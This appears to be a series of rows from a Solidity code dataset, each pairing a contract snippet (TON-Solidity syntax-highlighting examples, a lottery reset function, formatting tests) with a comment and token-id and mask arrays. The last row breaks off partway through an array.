optional(uint32, uint256) res = curCol.nextOrEq(key);
optional(uint32, uint256) res = curCol.prevOrEq(key);
optional(uint32, uint256) res = curCol.delMin();
optional(uint32, uint256) res = curCol.delMax();
optional(uint256) optValue = curCol.fetch(key);
bool exists = curCol.exists(key);
bool isEmpty = curCol.empty();
bool success = curCol.replace(key, value);
bool success = curCol.add(key, value);
optional(uint256) res = curCol.getSet(key, value);
optional(uint256) res = curCol.getAdd(key, value);
optional(uint256) res = curCol.getReplace(key, value);
uint256 uintValue = curCol[index];
/**
EXAMPLE: vector
*/
vector(uint) vect;
uint a = 11;
vect.push(a);
vect.push(111);
/**
EXAMPLE: for iteration
*/
uint[] arr = ...;
uint sum = 0;
for (uint val : arr) { // iteration over array
sum += val;
}
bytes byteArray = "Hello!";
for (byte b : byteArray) {
// ...
}
mapping(uint32 => uint) map = ...;
uint keySum = 0;
uint valueSum = 0;
for ((uint32 key, uint value) : map) { // iteration over mapping
keySum += key;
valueSum += value;
}
mapping(uint32 => uint) map = ...;
uint keySum = 0;
for ((uint32 key, ) : map) { // value is omitted
keySum += key;
}
uint valueSum = 0;
for ((, uint value) : map) { // key is omitted
valueSum += value;
}
/**
EXAMPLE: repeat
*/
uint a = 0;
repeat(10) {
a ++;
}
require(a == 10, 101);
// Despite a is changed in the cycle, code block will be repeated 10 times (10 is initial value of a)
repeat(a) {
a += 2;
}
require(a == 30, 102);
a = 11;
repeat(a - 1) {
a -= 1;
}
require(a == 1, 103);
/**
EXAMPLE: array
*/
struct MyStruct {
uint a;
int b;
address c;
}
uint[] arr;
require(arr.empty());
arr.push();
require(!arr.empty());
/**
EXAMPLE: bytes and hex literal
*/
bytes a = "abzABZ0129"; // initialised with string
bytes b = hex"0DE_001a_239_abf"; // initialised with hex data
bytes bad_ = hex"_0DE_001a__239_abf_";
bytes bad = hex"ghjkl";
bytes bad1 = hex"123ghjkl";
bytes bad2 = hex"ghjkl123";
bytes bad3 = hex"BADgh01_23_46jkl123";
/**
EXAMPLE: bytes with length
*/
bytes0 b0;
bytes1 b1;
bytes2 b2;
bytes3 b3;
bytes4 b4;
bytes5 b5;
bytes6 b6;
bytes7 b7;
bytes8 b8;
bytes9 b9;
bytes10 b10;
bytes11 b11;
bytes12 b12;
bytes13 b13;
bytes14 b14;
bytes15 b15;
bytes16 b16;
bytes17 b17;
bytes18 b18;
bytes19 b19;
bytes20 b20;
bytes21 b21;
bytes22 b22;
bytes23 b23;
bytes24 b24;
bytes25 b25;
bytes26 b26;
bytes27 b27;
bytes28 b28;
bytes29 b29;
bytes30 b30;
bytes31 b31;
bytes32 b32;
bytes33 b33;
bytes34 b34;
bytes100 b100;
/**
EXAMPLE: bytes, byte
*/
bytes byteArray = "abba";
int index = 0;
byte a0 = byteArray[index];
bytes byteArray = "01234567890123456789";
bytes slice = byteArray[5:10];
bytes etalon = "56789";
require(slice == etalon);
slice = byteArray[10:];
etalon = "0123456789";
require(slice == etalon);
slice = byteArray[:10];
require(slice == etalon);
slice = byteArray[:];
require(slice == byteArray);
require(byteArray[:10] == etalon);
require(etalon == byteArray[:10]);
bytes byteArray = "1234";
bytes4 bb = byteArray;
/**
EXAMPLE: string
*/
string long = "0123456789";
string a = long.substr(1, 2); // a = "12"
string b = long.substr(6); // b = "6789"
string str = "01234567890";
optional(uint32) a = str.find(byte('0'));
require(a.hasValue());
require(a.get() == 0);
byte symbol = 'a';
optional(uint32) b = str.findLast(symbol);
require(!b.hasValue());
string sub = "111";
optional(uint32) c = str.find(symbol);
require(!c.hasValue());
/**
EXAMPLE: string escape
*/
string escaped = "escaped: \\ backslash, \' single quote, \" double quote";
string escape2 = "escaped: \n newline, \r carriage return, \t tab";
string escapeold = "not escaped, deprecated: \b \f \v";
string escapehex = "escaped: \x01 \xab \xCD \xaD, but: \x1 \xabc \x12345, \xg \x-12";
string escapeunicode = "escaped: \u1223 \uabCD, but: \u1 \u22 \u333 \u12345 \uABCDEF, \u123G \uAB-CD";
/**
EXAMPLE: string format
*/
string str = format("Hello {} 0x{:X} {} {}.{} tons", 123, 255, address.makeAddrStd(-33,0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF123456789ABCDE), 100500, 32);
require(str == "Hello 123 0xFF -21:7fffffffffffffffffffffffffffffffffffffffffffffffff123456789abcde 100500.32 tons", 101);
require(format("Hello {}", 123) == "Hello 123", 102);
require(format("Hello 0x{:X}", 123) == "Hello 0x7B", 103);
require(format("{}", -123) == "-123", 103);
require(format("{}", address.makeAddrStd(127,0)) == "7f:0000000000000000000000000000000000000000000000000000000000000000", 104);
require(format("{}", address.makeAddrStd(-128,0)) == "-80:0000000000000000000000000000000000000000000000000000000000000000", 105);
require(format("{:6}", 123) == " 123", 106);
require(format("{:06}", 123) == "000123", 107);
require(format("{:06d}", 123) == "000123", 108);
require(format("{:06X}", 123) == "00007B", 109);
require(format("{:6x}", 123) == " 7b", 110);
uint128 a = 1 ton;
require(format("{:t}", a) == "1.000000000", 101);
a = 123;
require(format("{:t}", a) == "0.000000123", 103);
fixed32x3 v = 1.5;
require(format("{}", v) == "1.500", 106);
fixed256x10 vv = -987123.4567890321;
require(format("{}", vv) == "-987123.4567890321", 108);
/**
EXAMPLE: address
*/
address addrNone = address.makeAddrNone();
uint addrNumber;
uint bitCnt;
address addrExtern = address.makeAddrExtern(addrNumber, bitCnt);
(int8 wid, uint addr) = address(this).unpack();
/**
EXAMPLE: transfer
*/
address dest = ...;
uint128 value = ...;
bool bounce = ...;
uint16 flag = ...;
TvmCell body = ...;
ExtraCurrencyCollection c = ...;
// sequential order of parameters
addr.transfer(value);
addr.transfer(value, bounce);
addr.transfer(value, bounce, flag);
addr.transfer(value, bounce, flag, body);
addr.transfer(value, bounce, flag, body, c);
// using named parameters
destination.transfer({value: 1 ton, bounce: false, flag: 128, body: cell, currencies: c});
destination.transfer({bounce: false, value: 1 ton, flag: 128, body: cell});
/**
EXAMPLE: mapping
*/
struct Point {
uint x;
uint y;
uint z;
}
mapping(Point => address) map;
function test(uint x, uint y, uint z, address addr) public {
Point p = Point(x, y, z);
map[p] = addr;
}
KeyType key; // init key
optional(KeyType, ValueType) nextPair = map.next(key);
optional(KeyType, ValueType) prevPair = map.prev(key);
if (nextPair.hasValue()) {
(KeyType nextKey, ValueType nextValue) = nextPair.get(); // unpack optional value
// using nextKey and nextValue
}
mapping(uint8 => uint) m;
optional(uint8, uint) = m.next(-1); // ok, param for next/prev can be negative
optional(uint8, uint) = m.prev(65537); // ok, param for next/prev can not possibly fit to KeyType (uint8 in this case)
/**
EXAMPLE: function
*/
function getSum(int a, int b) internal pure returns (int) {
return a + b;
}
function getSub(int a, int b) internal pure returns (int) {
return a - b;
}
function process(int a, int b, uint8 mode) public returns (int) {
function (int, int) returns (int) fun;
if (mode == 0) {
fun = getSum;
} else if (mode == 1) {
fun = getSub;
}
return fun(a, b); // if `fun` isn't initialized then exception is thrown
}
/**
EXAMPLE: require, revert
*/
uint a = 5;
require(a == 5); // ok
require(a == 6); // throws an exception with code 100
require(a == 6, 101); // throws an exception with code 101
require(a == 6, 101, "a is not equal to six"); // throws an exception with code 101 and string
require(a == 6, 101, a); // throws an exception with code 101 and number a
revert(); // throw exception 100
revert(101); // throw exception 101
revert(102, "We have a some problem"); // throw exception 102 and string
revert(101, a); // throw exception 101 and number a
/**
EXAMPLE: constant, static
*/
uint128 constant public GRAMS_OVERHEAD = 0.2 nanoton;
contract MyContract {
uint constant COST = 100;
uint constant COST2 = COST + GRAMS_OVERHEAD;
address constant dest = address.makeAddrStd(-1, 0x89abcde);
}
contract C {
uint static a; // ok
// uint static b = 123; // error
}
/**
EXAMPLE: contract functions
*/
contract Sink {
uint public counter = 0;
uint public msgWithPayload = 0;
receive() external {
++counter;
// if the inbound internal message has payload then we can get it using `msg.data`
TvmSlice s = msg.data;
if (!s.empty()) {
++msgWithPayload;
}
}
}
contract ContractA {
uint public counter = 0;
function f(uint a, uint b) public pure { /*...*/ }
fallback() external {
++counter;
}
onBounce(TvmSlice body) external {
/*...*/
}
onTickTock(bool isTock) external {
/*...*/
}
}
/**
EXAMPLE: pure view
*/
contract Test {
uint a;
event MyEvent(uint val);
// pure mutability
function f() public pure {
emit MyEvent(123);
}
// view mutability
function g() public view {
emit MyEvent(a);
}
// default mutability (not set)
function e(uint newA) public {
a = newA;
}
}
/**
EXAMPLE: inline, externalMsg and internalMsg
*/
// This function is called as usual function.
function getSum(uint a, uint b) public returns (uint) {
return sum(a, b);
}
// Code of this function is inserted to the place of call.
function sum(uint a, uint b) private inline returns (uint) {
return a + b;
}
function f() public externalMsg { // this function receives only external messages
/*...*/
}
// Note: keyword `external` specifies function visibility
function ff() external externalMsg { // this function receives only external messages also
/*...*/
}
function g() public internalMsg { // this function receives only internal messages
/*...*/
}
/**
EXAMPLE: functionID
*/
// These function receives internal and external messages.
function fun() public { /*...*/ }
function f() public pure functionID(123) {
/*...*/
}
/**
EXAMPLE: emit event
*/
event SomethingIsReceived(uint a, uint b, uint sum);
// ...
address addr = address.makeAddrExtern(...);
emit SomethingIsReceived{dest: addr}(2, 8, 10); // dest address is set
emit SomethingIsReceived(10, 15, 25); // dest address == addr_none
/**
EXAMPLE: return options
*/
function f(uint n) public pure {
return n <= 1? 1 : n * f(n - 1);
}
function f(uint n) public responsible pure {
return{value: 0, flag: 64} n <= 1? 1 : n * f(n - 1);
}
/**
EXAMPLE: external call
*/
interface IContract {
function f(uint a) external;
}
contract Caller {
function callExt(address addr) public {
IContract(addr).f(123); // attached default value: 0.01 ton
IContract(addr).f{value: 10 ton}(123);
IContract(addr).f{value: 10 ton, flag: 3}(123);
IContract(addr).f{value: 10 ton, bounce: true}(123);
IContract(addr).f{value: 1 micro, bounce: false, flag: 128}(123);
ExtraCurrencyCollection cc;
cc[12] = 1000;
IContract(addr).f{value: 10 ton, currencies:cc}(123);
}
}
contract RemoteContract {
// Note this function is marked as responsible to call callback function
function getCost(uint x) public pure responsible returns (uint) {
uint cost = x == 0 ? 111 : 222;
// return `cost` and set option for outbound internal message.
return{value: 0, bounce: false, flag: 64} cost;
}
}
contract Caller {
function test(address addr, uint x) public pure {
// `getCost` returns result to `onGetCost`
RemoteContract(addr).getCost{value: 1 ton, callback: Caller.onGetCost}(x);
}
function onGetCost(uint cost) public {
// check that msg.sender is expected address
// we get cost TODO value, we can handle this value
/* `cost` is uint, `_item` is global, `0sdf` is incorrect */
}
}
/**
EXAMPLE: highlight variables and names in comments
*/
contract Caller {
function test(address addr, uint x) public pure {
// `getCost` returns result to `onGetCost`
RemoteContract(addr).getCost{value: 1 ton, callback: Caller.onGetCost}(x);
}
function onGetCost(uint cost) public {
// TODO: check that `msg.sender` is expected address
// we get cost value, we can handle this value
/* `cost` is uint, `_item` is global, `0sdf` is incorrect */
}
}
/**
EXAMPLE: await
*/
interface IContract {
function getNum(uint a) external responsible returns (uint) ;
}
contract Caller {
function call(address addr) public pure {
// ...
uint res = IContract(addr).getNum(123).await;
require(res == 124, 101);
// ...
}
}
/**
EXAMPLE: delete
*/
int a = 5;
delete a;
require(a == 0);
uint[] arr;
arr.push(11);
arr.push(22);
arr.push(33);
delete arr[1];
require(arr[0] == 11);
require(arr[1] == 0);
require(arr[2] == 33);
delete arr;
require(arr.length == 0);
mapping(uint => uint) l_map;
l_map[1] = 2;
delete l_map[1];
require(!l_map.exists(1));
l_map[1] = 2;
delete l_map;
require(!l_map.exists(1));
struct DataStruct {
uint m_uint;
bool m_bool;
}
DataStruct l_struct;
l_struct.m_uint = 1;
delete l_struct;
require(l_struct.m_uint == 0);
TvmBuilder b;
uint i = 0x54321;
b.store(i);
TvmCell c = b.toCell();
delete c;
TvmCell empty;
require(tvm.hash(empty) == tvm.hash(c));
b.store(c);
TvmSlice slice = b.toSlice();
require(slice.bits() == 256);
require(slice.refs() == 1);
delete slice;
require(slice.bits() == 0);
require(slice.refs() == 0);
require(b.bits() == 256);
require(b.refs() == 1);
delete b;
require(b.bits() == 0);
require(b.refs() == 0);
/**
EXAMPLE: tvm
*/
tvm.log("Hello,world!");
logtvm("99_Bottles");
string s = "Some_text";
tvm.log(s);
uint256 hash = tvm.hash(TvmCell cellTree);
uint256 hash = tvm.hash(string);
uint256 hash = tvm.hash(bytes);
// 1)
tvm.buildStateInit(TvmCell code, TvmCell data) returns (TvmCell stateInit);
// 2)
tvm.buildStateInit(TvmCell code, TvmCell data, uint8 splitDepth) returns (TvmCell stateInit);
// 3)
tvm.buildStateInit({code: TvmCell code, data: TvmCell data, splitDepth: uint8 splitDepth,
pubkey: uint256 pubkey, contr: contract Contract, varInit: {VarName0: varValue0, ...}});
TvmCell code = ...;
address newWallet = new SimpleWallet{value: 1 ton, code: code}(arg0, arg1, ...);
/**
EXAMPLE: extMsg
*/
interface Foo {
function bar(uint a, uint b) external pure;
}
contract Test {
function test7() public {
address addr = address.makeAddrStd(0, 0x0123456789012345678901234567890123456789012345678901234567890123);
Foo(addr).bar{expire: 0x12345, time: 0x123}(123, 45).extMsg;
optional(uint) pubkey;
optional(uint32) signBox;
Foo(addr).bar{expire: 0x12345, time: 0x123, pubkey: pubkey}(123, 45).extMsg;
Foo(addr).bar{expire: 0x12345, time: 0x123, pubkey: pubkey, sign: true}(123, 45).extMsg;
pubkey.set(0x95c06aa743d1f9000dd64b75498f106af4b7e7444234d7de67ea26988f6181df);
Foo(addr).bar{expire: 0x12345, time: 0x123, pubkey: pubkey, sign: true}(123, 45).extMsg;
Foo(addr).bar{expire: 0x12345, time: 0x123, sign: true, signBoxHandle: signBox}(123, 45).extMsg;
}
}
/**
EXAMPLE: tvm, math, rnd
*/
// The following functions are only colored differently from normal functions
// if theme supports "support.function". You can check with "Kimble Dark" theme
tvm.accept();
tvm.unknownFunction();
int a = math.abs(-4123); // 4123
int b = -333;
int c = math.abs(b); // 333
math.unknownFunction();
rnd.shuffle(/*uint someNumber*/ 123);
rnd.shuffle();
uint256 r0 = rnd.next(); // 0..2^256-1
uint8 r1 = rnd.next(100); // 0..99
int8 r2 = rnd.next(int8(100)); // 0..99
int8 r3 = rnd.next(int8(-100)); // -100..-1
rnd.unknownFunction();
selfdestruct(/*address*/ dest_addr);
sha256(/*TvmSlice*/ slice);// returns (uint256)
sha256(/*bytes*/ b);// returns (uint256)
sha256(/*string*/ str);// returns (uint256)
gasToValue(/*uint128*/ gas, /*int8*/ wid);// returns (uint128 value)
valueToGas(/*uint128*/ value, /*int8*/ wid);// returns (uint128 gas)
sha257(someBytes);
sha256(someBytes);
/**
EXAMPLE: bitSize, uBitSize
*/
require(bitSize(12) == 5); // 12 == 1100(in bin sys)
require(bitSize(1) == 2);
require(bitSize(-1) == 1);
require(bitSize(0) == 0);
require(uBitSize(10) == 4);
require(uBitSize(1) == 1);
require(uBitSize(0) == 0);
require(ubitSize(0) == 0); // wrong
/**
EXAMPLE: TvmSlice, TvmBuilder, TvmCell
*/
TvmSlice slice = ...;
(uint8 a, uint16 b) = slice.decode(uint8, uint16);
(uint16 num0, uint32 num1, address addr) = slice.decode(uint16, uint32, address);
uint256 a = 11;
int16 b = 22;
TvmBuilder builder;
builder.store(a, b, uint(33));
function afterSignatureCheck(TvmSlice body, TvmCell message) private inline returns (TvmSlice) {
/*...*/
}
/**
EXAMPLE: natspec
*/
/**
@title A simulator for trees
@author Larry A. Gardner
@notice You can use this contract for only the most basic simulation
@dev All function calls are currently implemented without side effects
*/
contract Tree {
/// @author Mary A. Botanist
/// @notice Calculate tree age in years, rounded up, for live trees
/// @dev The Alexandr N. Tetearing algorithm could increase precision
/// @param rings The number of rings from dendrochronological sample
/// @return age in years, rounded up for partial years
function age(uint256 rings) external pure returns (uint256) {
return rings + 1;
}
}
////
pragma ton-solidity >= 0.35.5 < 0.35.7; // Check compiler version equal to 0.35.5 or 0.35.6
pragma AbiHeader time;
pragma msgValue 10 ton;
int a = math.abs(-4123); // 4123
TvmBuilder b;
b.store(a);
TvmCell c = b.toCell();
int8 r = rnd.next(int8(-100));
uint9 b = 123; // error type;
rnd.unknownFunction();
selfdestruct(address(dest_addr));
gasToValue(gas, wid);// returns (uint128 `value`)
sha257("String with\nescapes: \x12 \u1234");
sha256("String with\rescapes:\t\x12 \u1234\"");
vector(uint) vect;
mapping(uint32 => uint) map = /*...*/;
for ((uint32 key, ) : map) { // value is omitted
repeat(5) {keySum += key;}
}
bytes b = hex"0DE_001a_239_abf"; // initialised with hex data
bytes bad_ = hex"_0DE_001a__239_abf_";
bytes bad = hex"0123ghjklABCD";
require(format("Hello 0x{:X}", 123) == "Hello 0x7B", 103);
return{value: 0, flag: 64} n <= 1? 1 : n * f(n - 1);
| throws an exception with code 101 and string
| require(a == 6, 101, "a is not equal to six"); | 15,790,499 | [
1,
15069,
392,
1520,
598,
981,
13822,
471,
533,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
6528,
12,
69,
422,
1666,
16,
13822,
16,
315,
69,
353,
486,
3959,
358,
5050,
8863,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42/0x0a082fd73DA9765D0679c7e33942857bfc47e9b8/sources/LotteryContract_flat.sol | * @dev Resets the lottery, clears the existing state variable values and the lottery can be initialized again. Emits {LotteryReset} event indicating that the lottery config and contract state is reset. Requirements: - Only the address set at `adminAddress` can call this function. - The Lottery has closed./ | function resetLottery() public {
require(
msg.sender == adminAddress,
"Resetting the Lottery requires Admin Access"
);
require(
lotteryStatus == LotteryStatus.CLOSED,
"Lottery Still in Progress"
);
uint256 tokenBalance = lotteryToken.balanceOf(address(this));
if (tokenBalance > 0) {
buyToken.transfer(adminAddress, tokenBalance);
}
delete lotteryConfig;
delete randomResult;
delete lotteryStatus;
delete totalLotteryPool;
delete adminFeesAmount;
delete rewardPoolAmount;
for (uint256 i = 0; i < lotteryPlayers.length; i = i.add(1)) {
delete winnerAddresses[i];
}
isRandomNumberGenerated = false;
areWinnersGenerated = false;
delete winnerIndexes;
delete lotteryPlayers;
emit LotteryReset();
}
| 9,587,254 | [
1,
18900,
326,
17417,
387,
93,
16,
22655,
326,
2062,
919,
2190,
924,
471,
326,
17417,
387,
93,
848,
506,
6454,
3382,
18,
7377,
1282,
288,
48,
352,
387,
93,
7013,
97,
871,
11193,
716,
326,
17417,
387,
93,
642,
471,
6835,
919,
353,
2715,
18,
29076,
30,
300,
5098,
326,
1758,
444,
622,
1375,
3666,
1887,
68,
848,
745,
333,
445,
18,
300,
1021,
511,
352,
387,
93,
711,
4375,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2715,
48,
352,
387,
93,
1435,
1071,
288,
203,
3639,
2583,
12,
203,
5411,
1234,
18,
15330,
422,
3981,
1887,
16,
203,
5411,
315,
7013,
1787,
326,
511,
352,
387,
93,
4991,
7807,
5016,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
17417,
387,
93,
1482,
422,
511,
352,
387,
93,
1482,
18,
28475,
16,
203,
5411,
315,
48,
352,
387,
93,
934,
737,
316,
10980,
6,
203,
3639,
11272,
203,
3639,
2254,
5034,
1147,
13937,
273,
17417,
387,
93,
1345,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
309,
261,
2316,
13937,
405,
374,
13,
288,
203,
5411,
30143,
1345,
18,
13866,
12,
3666,
1887,
16,
1147,
13937,
1769,
203,
3639,
289,
203,
3639,
1430,
17417,
387,
93,
809,
31,
203,
3639,
1430,
2744,
1253,
31,
203,
3639,
1430,
17417,
387,
93,
1482,
31,
203,
3639,
1430,
2078,
48,
352,
387,
93,
2864,
31,
203,
3639,
1430,
3981,
2954,
281,
6275,
31,
203,
3639,
1430,
19890,
2864,
6275,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
17417,
387,
93,
1749,
3907,
18,
2469,
31,
277,
273,
277,
18,
1289,
12,
21,
3719,
288,
203,
5411,
1430,
5657,
1224,
7148,
63,
77,
15533,
203,
3639,
289,
203,
3639,
353,
8529,
1854,
7823,
273,
629,
31,
203,
3639,
854,
18049,
9646,
7823,
273,
629,
31,
203,
3639,
1430,
5657,
1224,
8639,
31,
203,
3639,
1430,
17417,
387,
93,
1749,
3907,
31,
203,
3639,
3626,
511,
352,
387,
93,
7013,
5621,
203,
565,
289,
203,
2
]
|
pragma solidity >=0.4.0 <0.7.0;
contract FunctionDeclaration {
function increment(uint x) public pure returns (uint)
{
return x + 1;
}
function increment(uint x) public pure returns (uint){
return x + 1;
}
function increment(uint x) public pure returns (uint) {
return x + 1;
}
function increment(uint x) public pure returns (uint) {
return x + 1;}
function kill() onlyowner public {
selfdestruct(owner);
}
/* TODO: modifiers should always split if arguments split */
function thisFunctionHasLotsOfArguments(address a, address b, address c,
address d, address e, address f) public {
doSomething();
}
function thisFunctionHasLotsOfArguments(address a,
address b,
address c,
address d,
address e,
address f) public {
doSomething();
}
function thisFunctionHasLotsOfArguments(
address a,
address b,
address c,
address d,
address e,
address f) public {
doSomething();
}
function thisFunctionNameIsReallyLong(address x, address y, address z)
public
onlyowner
priced
returns (address) {
doSomething();
}
function thisFunctionNameIsReallyLong(address x, address y, address z)
public onlyowner priced returns (address)
{
doSomething();
}
function thisFunctionNameIsReallyLong(address x, address y, address z)
public
onlyowner
priced
returns (address) {
doSomething();
}
function thisFunctionNameIsReallyLong(
address a,
address b,
address c
)
public
returns (address someAddressName,
uint256 LongArgument,
uint256 Argument)
{
doSomething();
/* TODO: long return list should split */
return (veryVeryLongReturnArg1,
veryVeryLongReturnArg1,
veryVeryLongReturnArg1);
}
}
// Base contracts just to make this compile
contract B {
constructor(uint) public {
}
}
contract C {
constructor(uint, uint) public {
}
}
contract D {
constructor(uint) public {
}
}
/* TODO: constructors calls have priority over visibility */
contract A is B, C, D {
uint x;
constructor(uint param1, uint param2, uint param3, uint param4, uint param5)
B(param1)
C(param2, param3)
D(param4)
public
{
x = param5;
}
}
contract X is B, C, D {
uint x;
constructor(uint param1, uint param2, uint param3, uint param4, uint param5)
public
B(param1)
C(param2, param3)
D(param4) {
x = param5;
}
}
| Base contracts just to make this compile | contract B {
constructor(uint) public {
}
}
| 5,371,290 | [
1,
2171,
20092,
2537,
358,
1221,
333,
4074,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
605,
288,
203,
565,
3885,
12,
11890,
13,
1071,
288,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
